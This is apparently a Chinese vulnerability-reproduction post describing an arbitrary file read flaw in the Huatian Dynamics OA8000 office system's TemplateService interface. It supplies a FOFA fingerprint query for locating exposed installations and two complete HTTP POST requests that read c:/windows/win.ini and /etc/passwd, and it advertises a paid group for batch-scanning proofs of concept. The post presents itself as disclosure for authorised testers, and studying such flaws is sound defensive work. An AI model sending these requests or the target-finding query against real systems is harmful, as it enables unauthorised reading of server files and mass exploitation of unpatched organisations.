【漏洞复现】华天动力OA TemplateService接口处存在任意文件读取漏洞

免责声明：文章来源互联网收集整理，文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

一、漏洞描述

华天软件有限公司（简称“华天动力”）是国内首批专注于独立OA协同软件研发、为政企提供垂直专业、数智化转型解决方案的科技创新型企业。华天动力OA TemplateService 接口处存在任意文件读取漏洞，攻击者可以利用此漏洞获取系统敏感信息。

二、影响版本

• 华天动力OA8000办公系统

三、资产测绘

• fofa：app="华天动力-OA8000"

四、漏洞复现

地址 >>> 漏洞详情及批量检测POC请前往圈子获取，加入圈子获取更多未公开漏洞POC

Windows:

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 
Content-Length: 101
Expect: 100-continue
Connection: close

<buffalo-call>
<method>getHtmlContent</method>
<string>c:/windows/win.ini</string>
</buffalo-call>

Linux:

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 
Content-Length: 101
Expect: 100-continue
Connection: close

<buffalo-call>
<method>getHtmlContent</method>
<string>/etc/passwd</string>
</buffalo-call>

Nuclei-poc